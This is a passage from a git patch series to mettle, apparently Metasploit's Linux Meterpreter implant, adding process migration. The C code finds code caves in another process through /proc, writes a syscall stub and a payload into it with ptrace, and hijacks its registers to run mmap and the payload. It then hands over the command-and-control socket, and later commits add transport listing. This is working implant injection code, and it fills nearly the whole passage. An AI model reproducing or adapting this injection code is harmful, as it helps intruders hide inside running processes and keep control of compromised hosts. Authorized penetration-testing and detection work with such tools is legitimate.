0; - - for( char * mem_byte = mem_data; mem_byte < mem_data + (end-start); mem_byte++){ - if(*mem_byte != 0x00) - { - current_cave_size = 0; - continue; - } - if(current_cave_size == cave_size) - { - - free(mem_data); - return start + ((unsigned long)mem_byte - (unsigned long)mem_data) - cave_size; - } - - current_cave_size++; - } - - free(mem_data); - return 0; - -}; - -int copy_payload(int pid, unsigned long target_addr, char * payload, int payload_length, long * restore_addr, const char * uuid) +void get_process_writable_sections(int pid, writable_section_ptr process_sections) { - - //write payload to target file - char mem_file_path[80]; - FILE * mem_handler; - struct user_regs_struct regs; - - strcpy(mem_file_path, "/proc/"); - - strcat(mem_file_path, itoa(pid, 10)); - strcat(mem_file_path, "/mem"); - - mem_handler = fopen(mem_file_path, "w+"); - fseek(mem_handler, target_addr, SEEK_SET); - - fwrite(payload, sizeof(char), payload_length, mem_handler); - - fclose(mem_handler); - - //overwrite RIP using ptrace - ptrace(PTRACE_ATTACH, pid, NULL, NULL); - waitpid(pid, NULL, 0); - - ptrace(PTRACE_GETREGS, pid, NULL, ®s); - *restore_addr = (long)regs.rip; - - regs.rip = target_addr+2; - regs.r15 = *uuid; - - ptrace(PTRACE_SETREGS, pid, NULL, ®s); - - return 1; -} - -int inject_payload(int pid, long target_addr, char * payload, size_t payload_length){ - - char mem_file_path[80]; - FILE * mem_handler; - struct user_regs_struct regs; - - strcpy(mem_file_path, "/proc/"); - - strcat(mem_file_path, itoa(pid, 10)); - strcat(mem_file_path, "/mem"); - - mem_handler = fopen(mem_file_path, "w+"); - fseek(mem_handler, target_addr, SEEK_SET); - - fwrite(payload, sizeof(char), payload_length, mem_handler); - - fclose(mem_handler); - - return 1; -} - -int inject_migrate_stub(int pid, char * migrate_stub, size_t migrate_stub_length, long * restore_addr, const char * uuid){ - FILE * maps_handler; char maps_file_path[80]; char * line = NULL; size_t len = 0; - + int section_count = 0; + strcpy(maps_file_path, "/proc/"); strcat(maps_file_path, itoa(pid, 10)); @@ -186,6 +131,8 @@ int inject_migrate_stub(int pid, char * migrate_stub, size_t migrate_stub_length long start_address; long end_address; + process_sections->pid = pid; + while(getline(&line,&len, maps_handler) != -1) { permissions = get_permissions_from_line(line); @@ -207,80 +154,246 @@ int inject_migrate_stub(int pid, char * migrate_stub, size_t migrate_stub_length start_address = get_start_address_from_maps_line(line); end_address = get_end_address_from_maps_line(line); - long code_cave_address = find_codecave(pid,start_address, end_address, migrate_stub_length); - if(code_cave_address){ + process_sections->sections[section_count].start_address = start_address; + process_sections->sections[section_count++].end_address = end_address; - if(copy_payload(pid, code_cave_address, migrate_stub, migrate_stub_length, restore_addr, uuid)) - { - return 1; - } + if(section_count >= 255) break; - } + + printf("Writable section found at: %lx - %lx\n", start_address, end_address); } free(maps_handler); - return 0; } -void restore_parent(int pid,long original_rip) + +unsigned long find_codecave(int pid, int cave_size, writable_section_ptr process_sections) { + char mem_file_path[80]; + char * mem_data = NULL; + FILE * mem_handler = NULL; + int current_cave_size = 0; + + if(process_sections->pid == 0) + { + get_process_writable_sections(pid, process_sections); + } + + strcpy(mem_file_path, "/proc/"); - struct user_regs_struct regs; + strcat(mem_file_path, itoa(pid, 10)); + strcat(mem_file_path, "/mem"); + + mem_handler = fopen(mem_file_path, "r"); + + for(int i = 0; i < 255; i++) + { + long section_start = process_sections->sections[i].start_address; + long section_end = process_sections->sections[i].end_address; + + fseek(mem_handler, section_start, SEEK_SET); - ptrace(PTRACE_GETREGS, pid, NULL, ®s); + long section_size = section_end - section_start; - regs.rip = original_rip; + mem_data = malloc(sizeof(char)*(int)(section_end-section_start)); - ptrace(PTRACE_SETREGS, pid, NULL, ®s); + fread(mem_data,sizeof(char), (int)(section_end-section_start), mem_handler); + + current_cave_size = 0; + + for(char * mem_byte = mem_data; mem_byte < mem_data + (section_end-section_start); mem_byte++) + { + + if(*mem_byte != 0x00) + { + current_cave_size = 0; + continue; + } + if(current_cave_size == cave_size) + { + + free(mem_data); + fclose(mem_handler); + return section_start + ((unsigned long)mem_byte - (unsigned long)mem_data) - cave_size; + } + + current_cave_size++; + } + + free(mem_data); + } + + fclose(mem_handler); + return 0; } -int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid) +int remote_write(int pid, long address, char * data, size_t data_length) { - int status; - struct user_regs_struct regs; - long restore_addr; - - //if injection fails, send detach and continue signals just in case - if(!inject_migrate_stub(pid,migrate_stub, migrate_stub_length, &restore_addr, uuid)){ - ptrace(PTRACE_CONT, pid, NULL, NULL); - ptrace(PTRACE_DETACH, pid, NULL, NULL); - return 0; - } + int status = 0; - ptrace(PTRACE_CONT, pid, NULL, NULL); - - //waits for first interrupt - wait(&status); - - if(WIFSTOPPED(status) && WSTOPSIG(status) == 5) - { + kill(pid, SIGSTOP); - ptrace(PTRACE_GETREGS, pid, NULL, ®s); - long target_address = regs.rax; - - if(!inject_payload(pid, target_address, payload, payload_length)) - { - ptrace(PTRACE_CONT, pid, NULL, NULL); - ptrace(PTRACE_DETACH, pid, NULL, NULL); - return 0; - } + waitpid(pid, NULL, 0); - ptrace(PTRACE_CONT, pid, NULL, NULL); - wait(&status); + for(size_t i = 0; i < data_length; i+=sizeof(long)) + { + long data_chunk = 0; + memcpy(&data_chunk, data + i, sizeof(long)); + if( ptrace(PTRACE_POKETEXT, pid, address + i, data_chunk) != 0) + { + kill(pid, SIGCONT); + waitpid(pid, NULL, 0); + return 0; + } + } - if(WIFSTOPPED(status) && WSTOPSIG(status) == 5){ - restore_parent(pid, restore_addr); - - if(ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1){ - return 0; - } + ptrace(PTRACE_CONT, pid, NULL, NULL); + + return 1; +} - return 1; - } - return 0; - } - return 0; +int remote_mmap(int pid, long mmap_stub, long length, long prot, long flags, long fd, long offset, long * mmaped_address) +{ + int status; + struct user_regs_struct saved_regs = { 0 }; + struct user_regs_struct regs = { 0 }; + + kill(pid, SIGSTOP); + + waitpid(pid, NULL, 0); + + ptrace(PTRACE_GETREGS, pid, NULL, &saved_regs); + + regs.rip = mmap_stub; + regs.rax = 9; + regs.rdi = 0; + regs.rsi = length; + regs.rdx = prot; + regs.r10 = flags; + regs.r8 = fd; + regs.rsp = saved_regs.rsp+0x100; + regs.rbp = saved_regs.rbp; + + ptrace(PTRACE_SETREGS, pid, NULL, ®s); + + ptrace(PTRACE_CONT, pid, NULL, NULL); + + wait(&status); + + if(WIFSTOPPED(status) && WSTOPSIG(status) == 5) + { + ptrace(PTRACE_GETREGS, pid, NULL, ®s); + *mmaped_address = regs.rax; + + ptrace(PTRACE_SETREGS, pid, NULL, &saved_regs); + ptrace(PTRACE_CONT, pid, NULL, NULL); + return 1; + } + + return 0; +} + +long remote_allocate(int pid, size_t size, writable_section_ptr process_sections) +{ + long codecave_address = 0; + long mmaped_address = 0; + + codecave_address = find_codecave(pid, sizeof(DO_SYSCALL), process_sections); + + if(codecave_address == 0) + return 0; + + if(remote_write(pid, codecave_address, DO_SYSCALL, sizeof(DO_SYSCALL)) == 0) + return 0; + + if(remote_mmap(pid, codecave_address, size, 0x6, 0x22, -1, 0, &mmaped_address) == 0) + return 0; + + return mmaped_address; + +} + +int remote_call_payload(int pid, long payload_address, long stub_address) +{ + int status = 0; + struct user_regs_struct saved_regs = { 0 }; + struct user_regs_struct regs = { 0 }; + + kill(pid, SIGSTOP); + waitpid(pid, NULL, 0); + + if(ptrace(PTRACE_GETREGS, pid, NULL, &saved_regs) != 0) + { + ptrace(PTRACE_CONT, pid, NULL, NULL); + return 0; + } + + regs.rip = stub_address; + regs.rsp = saved_regs.rsp+0x100; + regs.rbp = saved_regs.rbp; + regs.r9 = payload_address; + + ptrace(PTRACE_SETREGS, pid, NULL, ®s); + + ptrace(PTRACE_CONT, pid, NULL, NULL); + + wait(&status); + + if(WIFSTOPPED(status) && WSTOPSIG(status) == 5) + { + ptrace(PTRACE_SETREGS, pid, NULL, &saved_regs); + ptrace(PTRACE_CONT, pid, NULL, NULL); + return 1; + } + + return 0; +} + +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid) +{ + struct user_regs_struct regs; + long payload_address = 0; + long migrate_stub_address = 0; + + writable_section_t process_sections = { 0 }; + + ptrace(PTRACE_ATTACH, pid, NULL, NULL); + waitpid(pid, NULL, 0); + + ptrace(PTRACE_CONT, pid, NULL, NULL); + + payload_address = remote_allocate(pid, payload_length, &process_sections); + migrate_stub_address = remote_allocate(pid, migrate_stub_length, &process_sections); + + if(payload_address == 0 || migrate_stub_address == 0) + { + ptrace(PTRACE_DETACH, pid, NULL, NULL); + return 0; + } + + if(remote_write(pid, payload_address, payload, payload_length) == 0 || remote_write(pid, migrate_stub_address, migrate_stub, migrate_stub_length) == 0) + { + ptrace(PTRACE_DETACH, pid, NULL, NULL); + return 0; + } + + + if( remote_call_payload(pid, payload_address, migrate_stub_address) == 0) + { + ptrace(PTRACE_DETACH, pid, NULL, NULL); + return 0; + } + + kill(pid, SIGSTOP); + waitpid(pid, NULL, 0); + if(ptrace(PTRACE_DETACH, pid, NULL, NULL) != 0) + { + printf("Failed to detach from process %d\n", pid); + return 0; + } + + return 1; } diff --git a/mettle/src/base_inject.h b/mettle/src/base_inject.h index 9ccc3d7d..2fe4a87d 100644 --- a/mettle/src/base_inject.h +++ b/mettle/src/base_inject.h @@ -4,12 +4,17 @@ #include #include #include +#include //temporarly using PTRACE #include #include -#define SIZE_OF_ADDRESS 12 +#define SIZE_OF_ADDRESS 32 + +// SYSCALL instruction in x86_64 +// INT3 instruction in x86_64 +#define DO_SYSCALL "\x0f\x05\xcc" struct user_regs_struct { @@ -42,26 +47,21 @@ struct user_regs_struct unsigned long gs; }; +typedef struct process_section { + unsigned long start_address; + unsigned long end_address; +} process_section_t, *process_section_ptr; -int is_root(); - -int inject_procfs(); - -int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid); -int get_process_sections(); - -unsigned long find_codecave(); - -void read_process_memory(); - -int is_readable(char * line); +typedef struct writable_section { + int pid; + process_section_t sections[255]; +} writable_section_t, *writable_section_ptr; -char *get_permissions_from_line(char *line); +int migrate_support(); -long get_end_address_from_maps_line(char *line); +int is_root(); -long get_start_address_from_maps_line(char *line); +int get_yama_ptrace_scope(); -int copy_and_run_payload(int pid, unsigned long target_addr, char * payload, int payload_length); +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid); -int inject_payload(int pid, long target_addr, char * payload, size_t payload_length); diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index f6867216..299be172 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -30,31 +30,34 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) uint32_t destination_arch; size_t payload_length, uuid_length, stub_length; struct mettle *m = ctx->arg; - struct c2 * c2 = mettle_get_c2(m); - struct c2_transport * transport = c2_get_current_transport(c2); struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); - tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_PID, &pid); - tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_ARCH, &destination_arch); - - char *payload = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_PAYLOAD, &payload_length); - // payload cannot be NULL - if (!payload || payload_length == 0) - return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - - //char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length); - const char *uuid = tlv_dispatcher_get_uuid(td,&uuid_length); - - char *migrate_stub = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_STUB, &stub_length); - // stub cannot be NULL - if (!migrate_stub || stub_length == 0) - return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - - if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid)) + if(migrate_support()) { - ev_break(mettle_get_loop(m), EVBREAK_ALL); - struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); - return p; + tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_PID, &pid); + tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_ARCH, &destination_arch); + printf("PID: %d, Destination Arch: %d\n", pid, destination_arch); + char *payload = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_PAYLOAD, &payload_length); + + // payload cannot be NULL + if (!payload || payload_length == 0) + return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + //char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length); + const char *uuid = tlv_dispatcher_get_uuid(td,&uuid_length); + + char *migrate_stub = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_STUB, &stub_length); + + // stub cannot be NULL + if (!migrate_stub || stub_length == 0) + return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid)) + { + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); + ev_break(mettle_get_loop(m), EVBREAK_ALL); + return p; + } } struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); From e471b7b2aabbcb35336be89110b74d399e36b437 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 16 Mar 2026 16:18:43 +0100 Subject: [PATCH 08/19] Adds support for fetching fd, code cleanup --- mettle/src/base_inject.c | 10 +++++----- mettle/src/base_inject.h | 2 +- mettle/src/bufferev.c | 9 +++++++++ mettle/src/bufferev.h | 2 ++ mettle/src/c2.c | 6 ++++++ mettle/src/c2.h | 2 ++ mettle/src/c2_tcp.c | 13 +++++++++++++ mettle/src/coreapi.c | 12 +++++++++--- mettle/src/network_client.c | 16 ++++++++++++++++ mettle/src/network_client.h | 4 ++++ 10 files changed, 67 insertions(+), 9 deletions(-) diff --git a/mettle/src/base_inject.c b/mettle/src/base_inject.c index 0654f7e6..4b1fc8e3 100644 --- a/mettle/src/base_inject.c +++ b/mettle/src/base_inject.c @@ -160,7 +160,6 @@ void get_process_writable_sections(int pid, writable_section_ptr process_section if(section_count >= 255) break; - printf("Writable section found at: %lx - %lx\n", start_address, end_address); } free(maps_handler); @@ -316,7 +315,7 @@ long remote_allocate(int pid, size_t size, writable_section_ptr process_sections } -int remote_call_payload(int pid, long payload_address, long stub_address) +int remote_call_payload(int pid, long payload_address, long stub_address, int fd) { int status = 0; struct user_regs_struct saved_regs = { 0 }; @@ -335,6 +334,8 @@ int remote_call_payload(int pid, long payload_address, long stub_address) regs.rsp = saved_regs.rsp+0x100; regs.rbp = saved_regs.rbp; regs.r9 = payload_address; + regs.r10 = getpid(); + regs.r11 = fd; ptrace(PTRACE_SETREGS, pid, NULL, ®s); @@ -352,7 +353,7 @@ int remote_call_payload(int pid, long payload_address, long stub_address) return 0; } -int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid) +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid, int fd) { struct user_regs_struct regs; long payload_address = 0; @@ -381,7 +382,7 @@ int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * pay } - if( remote_call_payload(pid, payload_address, migrate_stub_address) == 0) + if( remote_call_payload(pid, payload_address, migrate_stub_address,fd) == 0) { ptrace(PTRACE_DETACH, pid, NULL, NULL); return 0; @@ -391,7 +392,6 @@ int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * pay waitpid(pid, NULL, 0); if(ptrace(PTRACE_DETACH, pid, NULL, NULL) != 0) { - printf("Failed to detach from process %d\n", pid); return 0; } diff --git a/mettle/src/base_inject.h b/mettle/src/base_inject.h index 2fe4a87d..ef1afc79 100644 --- a/mettle/src/base_inject.h +++ b/mettle/src/base_inject.h @@ -63,5 +63,5 @@ int is_root(); int get_yama_ptrace_scope(); -int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid); +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid, int fd); diff --git a/mettle/src/bufferev.c b/mettle/src/bufferev.c index 38e160c4..bbe195b3 100644 --- a/mettle/src/bufferev.c +++ b/mettle/src/bufferev.c @@ -57,6 +57,15 @@ void bufferev_set_cbs(struct bufferev *be, be->cb_arg = cb_arg; } +int bufferev_get_socket_fd(struct bufferev *be) +{ + if (be == NULL) { + return -1; + } + return be->sock; +} + + struct buffer_queue * bufferev_rx_queue(struct bufferev *be) { return be->rx_queue; diff --git a/mettle/src/bufferev.h b/mettle/src/bufferev.h index 164ea9f3..73c5a23d 100644 --- a/mettle/src/bufferev.h +++ b/mettle/src/bufferev.h @@ -24,6 +24,8 @@ struct bufferev * bufferev_new(struct ev_loop *loop); int bufferev_connect_tcp_sock(struct bufferev *be, int sock); +int bufferev_get_socket_fd(struct bufferev *be); + int bufferev_connect_addrinfo(struct bufferev *be, struct addrinfo *src_addr, struct addrinfo *dst_addr, float timeout_s); diff --git a/mettle/src/c2.c b/mettle/src/c2.c index 85afef63..3adda66e 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -57,6 +57,12 @@ struct c2 { void *cb_arg; }; +int c2_get_fd(struct c2 *c2) +{ + struct tcp_ctx *ctx = (struct tcp_ctx*)(c2_transport_get_ctx(c2->curr_transport)); + return 1; +} + int c2_register_transport_type(struct c2 *c2, const char *proto, struct c2_transport_cbs *cbs) diff --git a/mettle/src/c2.h b/mettle/src/c2.h index d2e42211..73373541 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -71,4 +71,6 @@ void c2_transport_unreachable(struct c2_transport *t); void c2_transport_ingress_buf(struct c2_transport *t, void *buf, size_t buflen); void c2_transport_ingress_queue(struct c2_transport *t, struct buffer_queue *src); +int c2_transport_get_socket_fd(struct c2_transport *t); + #endif diff --git a/mettle/src/c2_tcp.c b/mettle/src/c2_tcp.c index 5f2e28d3..5880ff25 100644 --- a/mettle/src/c2_tcp.c +++ b/mettle/src/c2_tcp.c @@ -16,6 +16,19 @@ struct tcp_ctx { int first_packet; }; + +int c2_transport_get_socket_fd(struct c2_transport *t) +{ + if (t == NULL) { + return -1; + } + struct tcp_ctx *ctx = (struct tcp_ctx *)c2_transport_get_ctx(t); + if (ctx == NULL || ctx->nc == NULL) { + return -1; + } + return network_client_get_socket_fd(ctx->nc); +} + static void tcp_read_cb(struct bufferev *be, void *arg) { struct c2_transport *t = arg; diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index 299be172..876c232a 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -3,13 +3,14 @@ * @brief Core API calls * @file tlv_coreapi.c */ - #include "crypttlv.h" #include "log.h" #include "tlv.h" #include "command_ids.h" #include "extensions.h" #include "util-common.h" +#include "bufferev.h" +#include "network_client.h" #include "base_inject.h" #include @@ -29,6 +30,7 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) uint32_t pid; uint32_t destination_arch; size_t payload_length, uuid_length, stub_length; + struct mettle *m = ctx->arg; struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); @@ -36,7 +38,7 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) { tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_PID, &pid); tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_ARCH, &destination_arch); - printf("PID: %d, Destination Arch: %d\n", pid, destination_arch); + char *payload = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_PAYLOAD, &payload_length); // payload cannot be NULL @@ -51,8 +53,12 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) // stub cannot be NULL if (!migrate_stub || stub_length == 0) return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + struct c2 *c2 = mettle_get_c2(m); + struct c2_transport * transport = c2_get_current_transport(c2); + int fd = c2_transport_get_socket_fd(transport); - if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid)) + if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid, fd)) { struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); ev_break(mettle_get_loop(m), EVBREAK_ALL); diff --git a/mettle/src/network_client.c b/mettle/src/network_client.c index 6273a72f..74c52ccc 100644 --- a/mettle/src/network_client.c +++ b/mettle/src/network_client.c @@ -87,6 +87,22 @@ void server_free(struct network_client_server *srv) memset(srv, 0, sizeof(*srv)); } +struct bufferev * network_client_get_bufferev(struct network_client *nc) +{ + if (nc == NULL) { + return NULL; + } + return nc->be; +} + +int network_client_get_socket_fd(struct network_client *nc) +{ + if (nc == NULL || nc->be == NULL) { + return -1; + } + return bufferev_get_socket_fd(nc->be); +} + int server_init(struct network_client_server *srv, const char *uri) { int rc = -1; diff --git a/mettle/src/network_client.h b/mettle/src/network_client.h index 1fdd894c..f4a2c91c 100644 --- a/mettle/src/network_client.h +++ b/mettle/src/network_client.h @@ -13,6 +13,10 @@ struct network_client; struct network_client * network_client_new(struct ev_loop *loop); +struct bufferev * network_client_get_bufferev(struct network_client *nc); + +int network_client_get_socket_fd(struct network_client *nc); + void network_client_set_src(struct network_client *nc, const char *addr, uint16_t port); int network_client_add_uri(struct network_client *nc, const char *uri); From 2f621d7cbf972bdaab04fcb42bc32e1513ce7770 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Tue, 17 Mar 2026 10:21:52 +0100 Subject: [PATCH 09/19] Fixes the TLV_TYPE_TRANS_GROUP type --- mettle/src/tlv_types.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index c8d070e9..15115bb4 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -93,7 +93,7 @@ #define TLV_TYPE_TRANS_PROXY_PASS (TLV_META_TYPE_STRING | 438) #define TLV_TYPE_TRANS_RETRY_TOTAL (TLV_META_TYPE_UINT | 439) #define TLV_TYPE_TRANS_RETRY_WAIT (TLV_META_TYPE_UINT | 440) -#define TLV_TYPE_TRANS_GROUP (TLV_META_TYPE_GROUP | 441) +#define TLV_TYPE_TRANS_GROUP (TLV_META_TYPE_GROUP | 442) #define TLV_TYPE_MACHINE_ID (TLV_META_TYPE_STRING | 460) #define TLV_TYPE_UUID (TLV_META_TYPE_RAW | 461) From f7c6d6c72b94415c1b4715f08fdb523eb4087122 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Tue, 17 Mar 2026 14:39:13 +0100 Subject: [PATCH 10/19] Adds support for transport --- mettle/src/c2.c | 4 ++++ mettle/src/c2.h | 1 + mettle/src/coreapi.c | 24 ++++++++++++++++++++++++ 3 files changed, 29 insertions(+) diff --git a/mettle/src/c2.c b/mettle/src/c2.c index 3adda66e..c9658bf9 100644 --- a/mettle/src/c2.c +++ b/mettle/src/c2.c @@ -121,6 +121,10 @@ c2_remove_transports(struct c2 *c2) return 0; } +struct c2_transport* c2_get_next_transport(struct c2_transport *t){ + return t->next; +} + int c2_add_transport_uri(struct c2 *c2, const char *uri) { struct c2_transport *t = NULL; diff --git a/mettle/src/c2.h b/mettle/src/c2.h index 73373541..ecce7e55 100644 --- a/mettle/src/c2.h +++ b/mettle/src/c2.h @@ -57,6 +57,7 @@ int c2_register_transport_type(struct c2 *c2, const char *proto, struct c2_transport_cbs *cbs); struct c2_transport* c2_get_current_transport(struct c2 *c2); +struct c2_transport* c2_get_next_transport(struct c2_transport *t); const char * c2_transport_uri(struct c2_transport *t); const char * c2_transport_dest(struct c2_transport *t); diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index 876c232a..d605605c 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -12,6 +12,7 @@ #include "bufferev.h" #include "network_client.h" #include "base_inject.h" +#include "c2.h" #include #include @@ -267,6 +268,28 @@ static struct tlv_packet *core_loadlib(struct tlv_handler_ctx *ctx) return p; } +static struct tlv_packet *core_transport_list(struct tlv_handler_ctx *ctx) +{ + struct mettle *m = ctx->arg; + struct c2 *c2 = mettle_get_c2(m); + struct c2_transport * transport = c2_get_current_transport(c2); + struct c2_transport * current_transport = c2_get_current_transport(c2); + + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); + + do { + struct tlv_packet *packet_group = tlv_packet_new(TLV_TYPE_TRANS_GROUP, 0); + packet_group = tlv_packet_add_str(packet_group, TLV_TYPE_TRANS_URL, c2_transport_uri(current_transport)); + if (packet_group) { + printf("Adding transport '%s' to transport list response\n", c2_transport_uri(current_transport)); + p = tlv_packet_add_child(p, packet_group); + } + current_transport = c2_get_next_transport(current_transport); + } while(current_transport != transport); + + return p; +} + void tlv_register_coreapi(struct mettle *m) { struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); @@ -280,4 +303,5 @@ void tlv_register_coreapi(struct mettle *m) tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION, core_negotiate_tlv_encryption, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_LOADLIB, core_loadlib, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_SHUTDOWN, core_shutdown, m); + tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_TRANSPORT_LIST, core_transport_list, m); } From 12dc231cb1b34dd36dfc0dbcb38add782c3267e1 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Wed, 18 Mar 2026 13:28:45 +0100 Subject: [PATCH 11/19] Removes itoa custom implementation --- mettle/src/base_inject.c | 32 ++++++-------------------------- mettle/src/base_inject.h | 6 ++++++ 2 files changed, 12 insertions(+), 26 deletions(-) diff --git a/mettle/src/base_inject.c b/mettle/src/base_inject.c index 4b1fc8e3..154a70b6 100644 --- a/mettle/src/base_inject.c +++ b/mettle/src/base_inject.c @@ -96,35 +96,18 @@ long get_start_address_from_maps_line(char *line) { } -char* itoa(int val, int base){ - - static char buf[32] = {0}; - - int i = 30; - - for(; val && i ; --i, val /= base) - - buf[i] = "0123456789abcdef"[val % base]; - - return &buf[i+1]; - -} - - void get_process_writable_sections(int pid, writable_section_ptr process_sections) { FILE * maps_handler; - char maps_file_path[80]; char * line = NULL; size_t len = 0; int section_count = 0; - - strcpy(maps_file_path, "/proc/"); + char pid_str[5]; + char maps_file_path[8192]; + + SIGAR_PROC_FILENAME(maps_file_path, pid, "/maps"); - strcat(maps_file_path, itoa(pid, 10)); - strcat(maps_file_path, "/maps"); - maps_handler = fopen(maps_file_path, "r"); char * permissions; @@ -169,20 +152,17 @@ void get_process_writable_sections(int pid, writable_section_ptr process_section unsigned long find_codecave(int pid, int cave_size, writable_section_ptr process_sections) { - char mem_file_path[80]; char * mem_data = NULL; FILE * mem_handler = NULL; int current_cave_size = 0; + char mem_file_path[8192]; if(process_sections->pid == 0) { get_process_writable_sections(pid, process_sections); } - strcpy(mem_file_path, "/proc/"); - - strcat(mem_file_path, itoa(pid, 10)); - strcat(mem_file_path, "/mem"); + SIGAR_PROC_FILENAME(mem_file_path, pid, "/mem"); mem_handler = fopen(mem_file_path, "r"); diff --git a/mettle/src/base_inject.h b/mettle/src/base_inject.h index ef1afc79..03fa7070 100644 --- a/mettle/src/base_inject.h +++ b/mettle/src/base_inject.h @@ -5,12 +5,18 @@ #include #include #include +#include +#include +#include //temporarly using PTRACE #include #include #define SIZE_OF_ADDRESS 32 +#define SIGAR_PROC_FILENAME(buffer, pid, fname) \ + sigar_proc_filename(buffer, sizeof(buffer), \ + pid, fname, SSTRLEN(fname)) // SYSCALL instruction in x86_64 // INT3 instruction in x86_64 From b5951498b6779de15ca585d22cdeb45e2fcf65ff Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 30 Mar 2026 10:47:11 +0200 Subject: [PATCH 12/19] Fixes bugs in base_inject --- mettle/src/base_inject.c | 46 ++++++++++++++++++++++++++++++++-------- mettle/src/base_inject.h | 42 ++++++------------------------------ 2 files changed, 44 insertions(+), 44 deletions(-) diff --git a/mettle/src/base_inject.c b/mettle/src/base_inject.c index 154a70b6..d90ff87a 100644 --- a/mettle/src/base_inject.c +++ b/mettle/src/base_inject.c @@ -1,6 +1,5 @@ #include "base_inject.h" - int is_root() { return getuid() == 0; @@ -130,7 +129,10 @@ void get_process_writable_sections(int pid, writable_section_ptr process_section } if(*permission == 0) + { + free(permissions); continue; + } free(permissions); @@ -145,7 +147,7 @@ void get_process_writable_sections(int pid, writable_section_ptr process_section } - free(maps_handler); + fclose(maps_handler); } @@ -246,6 +248,7 @@ int remote_mmap(int pid, long mmap_stub, long length, long prot, long flags, lon ptrace(PTRACE_GETREGS, pid, NULL, &saved_regs); +#if defined(__x86_64__) regs.rip = mmap_stub; regs.rax = 9; regs.rdi = 0; @@ -255,17 +258,32 @@ int remote_mmap(int pid, long mmap_stub, long length, long prot, long flags, lon regs.r8 = fd; regs.rsp = saved_regs.rsp+0x100; regs.rbp = saved_regs.rbp; +#elif defined(__i386__) + regs.eip = mmap_stub; + regs.eax = 192; // sys_mmap2 + regs.ebx = 0; // addr (NULL) + regs.ecx = length; + regs.edx = prot; + regs.esi = flags; + regs.edi = fd; + regs.ebp = offset / 4096; // mmap2 offset is in 4096-byte pages + regs.esp = saved_regs.esp + 0x100; +#endif ptrace(PTRACE_SETREGS, pid, NULL, ®s); - + ptrace(PTRACE_CONT, pid, NULL, NULL); - + wait(&status); if(WIFSTOPPED(status) && WSTOPSIG(status) == 5) { ptrace(PTRACE_GETREGS, pid, NULL, ®s); +#if defined(__x86_64__) *mmaped_address = 